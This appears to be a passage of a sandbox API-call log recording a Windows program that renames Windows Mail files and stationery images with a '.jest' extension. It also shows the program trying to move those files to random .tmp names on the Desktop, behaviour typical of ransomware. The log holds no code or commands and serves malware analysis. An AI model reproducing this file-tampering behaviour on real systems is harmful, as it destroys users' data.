ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x2d574a6a, cFileName="rPUljB8iPRhK tJX_Qn8JiJvAlkYu_8MShZoq U8eoTsEjCdf4BfYCLw_Wnm9BWpDuufwvouk4FykeUdQibsMQ72jeqKpBSU.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.660] GetLastError () returned 0x2 [0128.660] GetLastError () returned 0x2 [0128.660] SetLastError (dwErrCode=0x2) [0128.660] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.661] CoFreeUnusedLibraries () [0128.661] GetTickCount () returned 0x1152971 [0128.661] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.661] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.661] GetTickCount () returned 0x1152971 [0128.661] IsWindowVisible (hWnd=0x30268) returned 0 [0128.661] Sleep (dwMilliseconds=0x0) [0128.661] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edb00001.log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edb00001.log.jest")) returned 1 [0128.662] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log", lpFilePart=0x18e6d8*="edb00001.log") returned 0x4f [0128.663] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0128.664] GetLastError () returned 0x2 [0128.664] VarBstrFromR4 (in: fltIn=0x47944641, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75916.51") returned 0x0 [0128.664] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.664] CoFreeUnusedLibraries () [0128.664] GetTickCount () returned 0x1152981 [0128.664] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.664] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.664] GetTickCount () returned 0x1152981 [0128.664] IsWindowVisible (hWnd=0x30268) returned 0 [0128.664] Sleep (dwMilliseconds=0x0) [0128.665] GetFullPathNameA (in: lpFileName="iSt6PsHbewOPrPtXbBJjAJczy83cgJSzgkCDB-s324Bffqzpno09feOvIQNefR5dd1Wy_4Lo_Te6GYJuRpzzCBg_Wv3Fjzs 7uRjH.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iSt6PsHbewOPrPtXbBJjAJczy83cgJSzgkCDB-s324Bffqzpno09feOvIQNefR5dd1Wy_4Lo_Te6GYJuRpzzCBg_Wv3Fjzs 7uRjH.tmp", lpFilePart=0x18e708*="iSt6PsHbewOPrPtXbBJjAJczy83cgJSzgkCDB-s324Bffqzpno09feOvIQNefR5dd1Wy_4Lo_Te6GYJuRpzzCBg_Wv3Fjzs 7uRjH.tmp") returned 0x8f [0128.665] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log", lpFilePart=0x18e708*="edb00001.log") returned 0x4f [0128.665] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edb00001.log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iSt6PsHbewOPrPtXbBJjAJczy83cgJSzgkCDB-s324Bffqzpno09feOvIQNefR5dd1Wy_4Lo_Te6GYJuRpzzCBg_Wv3Fjzs 7uRjH.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ist6pshbewoprptxbbjjajczy83cgjszgkcdb-s324bffqzpno09feoviqnefr5dd1wy_4lo_te6gyjurpzzcbg_wv3fjzs 7urjh.tmp")) returned 0 [0128.665] GetLastError () returned 0x2 [0128.665] GetLastError () returned 0x2 [0128.665] SetLastError (dwErrCode=0x2) [0128.665] GetLastError () returned 0x2 [0128.665] SetLastError (dwErrCode=0x2) [0128.665] GetLastError () returned 0x2 [0128.665] SetLastError (dwErrCode=0x2) [0128.666] GetFullPathNameA (in: lpFileName="iSt6PsHbewOPrPtXbBJjAJczy83cgJSzgkCDB-s324Bffqzpno09feOvIQNefR5dd1Wy_4Lo_Te6GYJuRpzzCBg_Wv3Fjzs 7uRjH.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iSt6PsHbewOPrPtXbBJjAJczy83cgJSzgkCDB-s324Bffqzpno09feOvIQNefR5dd1Wy_4Lo_Te6GYJuRpzzCBg_Wv3Fjzs 7uRjH.tmp", lpFilePart=0x18e6e4*="iSt6PsHbewOPrPtXbBJjAJczy83cgJSzgkCDB-s324Bffqzpno09feOvIQNefR5dd1Wy_4Lo_Te6GYJuRpzzCBg_Wv3Fjzs 7uRjH.tmp") returned 0x8f [0128.666] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iSt6PsHbewOPrPtXbBJjAJczy83cgJSzgkCDB-s324Bffqzpno09feOvIQNefR5dd1Wy_4Lo_Te6GYJuRpzzCBg_Wv3Fjzs 7uRjH.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x36745369, cFileName="PsHbewOPrPtXbBJjAJczy83cgJSzgkCDB-s324Bffqzpno09feOvIQNefR5dd1Wy_4Lo_Te6GYJuRpzzCBg_Wv3Fjzs 7uRjH.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.666] GetLastError () returned 0x2 [0128.666] GetLastError () returned 0x2 [0128.666] SetLastError (dwErrCode=0x2) [0128.666] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.666] CoFreeUnusedLibraries () [0128.666] GetTickCount () returned 0x1152981 [0128.666] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.666] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.666] GetTickCount () returned 0x1152981 [0128.666] IsWindowVisible (hWnd=0x30268) returned 0 [0128.667] Sleep (dwMilliseconds=0x0) [0128.668] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edb.log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edb.log.jest")) returned 1 [0128.669] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log", lpFilePart=0x18e6d8*="edb.log") returned 0x4a [0128.669] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0128.669] GetLastError () returned 0x2 [0128.669] VarBstrFromR4 (in: fltIn=0x47944641, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75916.51") returned 0x0 [0128.670] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.670] CoFreeUnusedLibraries () [0128.670] GetTickCount () returned 0x1152981 [0128.670] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.670] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.670] GetTickCount () returned 0x1152981 [0128.670] IsWindowVisible (hWnd=0x30268) returned 0 [0128.670] Sleep (dwMilliseconds=0x0) [0128.670] GetFullPathNameA (in: lpFileName="uwHbzWx8OrmK9Gj_BRIo9kiUjSx0m IVj2yj0_LkarQFKed0lM7o9sUDaw8wz4ctYs4mFWkDYE0kVDpuZskXq14 oenZu0p6Ipa.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uwHbzWx8OrmK9Gj_BRIo9kiUjSx0m IVj2yj0_LkarQFKed0lM7o9sUDaw8wz4ctYs4mFWkDYE0kVDpuZskXq14 oenZu0p6Ipa.tmp", lpFilePart=0x18e708*="uwHbzWx8OrmK9Gj_BRIo9kiUjSx0m IVj2yj0_LkarQFKed0lM7o9sUDaw8wz4ctYs4mFWkDYE0kVDpuZskXq14 oenZu0p6Ipa.tmp") returned 0x8d [0128.670] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log", lpFilePart=0x18e708*="edb.log") returned 0x4a [0128.671] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edb.log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uwHbzWx8OrmK9Gj_BRIo9kiUjSx0m IVj2yj0_LkarQFKed0lM7o9sUDaw8wz4ctYs4mFWkDYE0kVDpuZskXq14 oenZu0p6Ipa.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uwhbzwx8ormk9gj_brio9kiujsx0m ivj2yj0_lkarqfked0lm7o9sudaw8wz4ctys4mfwkdye0kvdpuzskxq14 oenzu0p6ipa.tmp")) returned 0 [0128.671] GetLastError () returned 0x2 [0128.671] GetLastError () returned 0x2 [0128.671] SetLastError (dwErrCode=0x2) [0128.671] GetLastError () returned 0x2 [0128.671] SetLastError (dwErrCode=0x2) [0128.671] GetLastError () returned 0x2 [0128.671] SetLastError (dwErrCode=0x2) [0128.671] GetFullPathNameA (in: lpFileName="uwHbzWx8OrmK9Gj_BRIo9kiUjSx0m IVj2yj0_LkarQFKed0lM7o9sUDaw8wz4ctYs4mFWkDYE0kVDpuZskXq14 oenZu0p6Ipa.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uwHbzWx8OrmK9Gj_BRIo9kiUjSx0m IVj2yj0_LkarQFKed0lM7o9sUDaw8wz4ctYs4mFWkDYE0kVDpuZskXq14 oenZu0p6Ipa.tmp", lpFilePart=0x18e6e4*="uwHbzWx8OrmK9Gj_BRIo9kiUjSx0m IVj2yj0_LkarQFKed0lM7o9sUDaw8wz4ctYs4mFWkDYE0kVDpuZskXq14 oenZu0p6Ipa.tmp") returned 0x8d [0128.671] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uwHbzWx8OrmK9Gj_BRIo9kiUjSx0m IVj2yj0_LkarQFKed0lM7o9sUDaw8wz4ctYs4mFWkDYE0kVDpuZskXq14 oenZu0p6Ipa.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x62487775, cFileName="zWx8OrmK9Gj_BRIo9kiUjSx0m IVj2yj0_LkarQFKed0lM7o9sUDaw8wz4ctYs4mFWkDYE0kVDpuZskXq14 oenZu0p6Ipa.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.671] GetLastError () returned 0x2 [0128.671] GetLastError () returned 0x2 [0128.671] SetLastError (dwErrCode=0x2) [0128.672] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.672] CoFreeUnusedLibraries () [0128.672] GetTickCount () returned 0x1152981 [0128.672] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.672] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.672] GetTickCount () returned 0x1152981 [0128.672] IsWindowVisible (hWnd=0x30268) returned 0 [0128.672] Sleep (dwMilliseconds=0x0) [0128.673] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\edb00001.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\backup\\old\\edb00001.log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\edb00001.log.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\backup\\old\\edb00001.log.jest")) returned 1 [0128.685] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\edb00001.log", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\edb00001.log", lpFilePart=0x18e6d8*="edb00001.log") returned 0x5a [0128.685] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\edb00001.log", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xe0, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x1413628, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x146ad80, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0128.685] GetLastError () returned 0x2 [0128.686] VarBstrFromR4 (in: fltIn=0x47944643, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75916.52") returned 0x0 [0128.686] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.686] CoFreeUnusedLibraries () [0128.686] GetTickCount () returned 0x1152991 [0128.687] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.687] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.687] GetTickCount () returned 0x1152991 [0128.687] IsWindowVisible (hWnd=0x30268) returned 0 [0128.687] Sleep (dwMilliseconds=0x0) [0128.687] GetFullPathNameA (in: lpFileName="kGvoAsg5XZB0MfQ02jtCKoB2zPn9XPl1VkCyHaDqDH4mgj-ZuPTFXYQY6Kzwtp_LT5sHpW8Eb-ou0JmHCfjheHf_fZRQL45TldjD.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kGvoAsg5XZB0MfQ02jtCKoB2zPn9XPl1VkCyHaDqDH4mgj-ZuPTFXYQY6Kzwtp_LT5sHpW8Eb-ou0JmHCfjheHf_fZRQL45TldjD.tmp", lpFilePart=0x18e708*="kGvoAsg5XZB0MfQ02jtCKoB2zPn9XPl1VkCyHaDqDH4mgj-ZuPTFXYQY6Kzwtp_LT5sHpW8Eb-ou0JmHCfjheHf_fZRQL45TldjD.tmp") returned 0x8e [0128.688] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\edb00001.log", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\edb00001.log", lpFilePart=0x18e708*="edb00001.log") returned 0x5a [0128.688] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\edb00001.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\backup\\old\\edb00001.log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kGvoAsg5XZB0MfQ02jtCKoB2zPn9XPl1VkCyHaDqDH4mgj-ZuPTFXYQY6Kzwtp_LT5sHpW8Eb-ou0JmHCfjheHf_fZRQL45TldjD.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kgvoasg5xzb0mfq02jtckob2zpn9xpl1vkcyhadqdh4mgj-zuptfxyqy6kzwtp_lt5shpw8eb-ou0jmhcfjhehf_fzrql45tldjd.tmp")) returned 0 [0128.688] GetLastError () returned 0x2 [0128.688] GetLastError () returned 0x2 [0128.688] SetLastError (dwErrCode=0x2) [0128.688] GetLastError () returned 0x2 [0128.688] SetLastError (dwErrCode=0x2) [0128.688] GetLastError () returned 0x2 [0128.688] SetLastError (dwErrCode=0x2) [0128.689] GetFullPathNameA (in: lpFileName="kGvoAsg5XZB0MfQ02jtCKoB2zPn9XPl1VkCyHaDqDH4mgj-ZuPTFXYQY6Kzwtp_LT5sHpW8Eb-ou0JmHCfjheHf_fZRQL45TldjD.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kGvoAsg5XZB0MfQ02jtCKoB2zPn9XPl1VkCyHaDqDH4mgj-ZuPTFXYQY6Kzwtp_LT5sHpW8Eb-ou0JmHCfjheHf_fZRQL45TldjD.tmp", lpFilePart=0x18e6e4*="kGvoAsg5XZB0MfQ02jtCKoB2zPn9XPl1VkCyHaDqDH4mgj-ZuPTFXYQY6Kzwtp_LT5sHpW8Eb-ou0JmHCfjheHf_fZRQL45TldjD.tmp") returned 0x8e [0128.689] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kGvoAsg5XZB0MfQ02jtCKoB2zPn9XPl1VkCyHaDqDH4mgj-ZuPTFXYQY6Kzwtp_LT5sHpW8Eb-ou0JmHCfjheHf_fZRQL45TldjD.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6f76476b, cFileName="Asg5XZB0MfQ02jtCKoB2zPn9XPl1VkCyHaDqDH4mgj-ZuPTFXYQY6Kzwtp_LT5sHpW8Eb-ou0JmHCfjheHf_fZRQL45TldjD.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.689] GetLastError () returned 0x2 [0128.689] GetLastError () returned 0x2 [0128.689] SetLastError (dwErrCode=0x2) [0128.694] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.694] CoFreeUnusedLibraries () [0128.694] GetTickCount () returned 0x11529a0 [0128.694] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.694] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.694] GetTickCount () returned 0x11529a0 [0128.694] IsWindowVisible (hWnd=0x30268) returned 0 [0128.694] Sleep (dwMilliseconds=0x0) [0128.702] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.jpg.jest")) returned 1 [0128.705] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg", lpFilePart=0x18e6d8*="Roses.jpg") returned 0x57 [0128.705] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0128.705] GetLastError () returned 0x2 [0128.706] VarBstrFromR4 (in: fltIn=0x47944645, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75916.54") returned 0x0 [0128.706] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.706] CoFreeUnusedLibraries () [0128.706] GetTickCount () returned 0x11529a0 [0128.706] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.706] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.706] GetTickCount () returned 0x11529a0 [0128.707] IsWindowVisible (hWnd=0x30268) returned 0 [0128.707] Sleep (dwMilliseconds=0x0) [0128.707] GetFullPathNameA (in: lpFileName="OEk0P0ZhdVnDleVpGgvW0k-nx8B8qdIotkGciEZZWLZCc3Ex9CbRosIgiO5Vjm72OvYmi pVqSfUTVTwv4e-h2Rtgg78cBYXiF8nR.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OEk0P0ZhdVnDleVpGgvW0k-nx8B8qdIotkGciEZZWLZCc3Ex9CbRosIgiO5Vjm72OvYmi pVqSfUTVTwv4e-h2Rtgg78cBYXiF8nR.tmp", lpFilePart=0x18e708*="OEk0P0ZhdVnDleVpGgvW0k-nx8B8qdIotkGciEZZWLZCc3Ex9CbRosIgiO5Vjm72OvYmi pVqSfUTVTwv4e-h2Rtgg78cBYXiF8nR.tmp") returned 0x8f [0128.707] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg", lpFilePart=0x18e708*="Roses.jpg") returned 0x57 [0128.708] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OEk0P0ZhdVnDleVpGgvW0k-nx8B8qdIotkGciEZZWLZCc3Ex9CbRosIgiO5Vjm72OvYmi pVqSfUTVTwv4e-h2Rtgg78cBYXiF8nR.tmp" (normalized: "c:\\users\\5p5nrgjn0js 